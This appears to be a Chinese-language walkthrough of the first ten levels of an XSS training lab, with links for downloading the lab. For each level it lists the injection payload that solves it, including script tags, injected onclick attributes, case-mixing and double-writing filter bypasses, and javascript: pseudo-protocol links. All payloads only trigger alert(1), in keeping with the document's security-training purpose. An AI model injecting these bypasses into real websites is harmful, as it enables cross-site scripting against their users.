目录
靶场下载地址：
- 百度网盘链接：https://pan.baidu.com/s/1CvkdKvVSrg5fBm7jW4WKXg?pwd=a648 提取码：a648
- 迅雷链接：https://pan.xunlei.com/s/VNzC15Qh3oWv5ZNc7G8utw-HA1?pwd=rnnb#
靶场搭建：https://mp.csdn.net/mp_blog/creation/editor/139561853
Level-1
?name=<script>alert()</script>
Level-2
?keyword="><script>alert(1)</script>
"onclick="alert(1)
Level-3
'onclick='alert(1)
' onclick ='javascript:alert(1)'//
'onclick=javascript:alert() '点搜索之后再点击搜索框就过关了
Level-4
尝试之后发现和第3关一样
"onclick="alert(1)
Level-5
"><a href="javascript:alert(1)">aa</a>点击aa
Level-6
"Onclick="alert(1)使用大小写绕过，搜索之后点击搜索框
Level-7
"oonnclick="alert(1)使用双写绕过，搜索之后点击搜索框
Level-8
文本框输入的内容传到这个友情链接里面，并且还作为href参数，使用伪协议啊，试了发现script被替换，然后编码
javascript:alert(1)添加友情链接——点击友情链接
Level-9
javascript:alert(1)/*http://*/
Level-10
t_link=aaaaaa&t_sort=aaaaaaaaa" type="text" onclick="alert(1)&t_history=aaaaaaa点击输入框
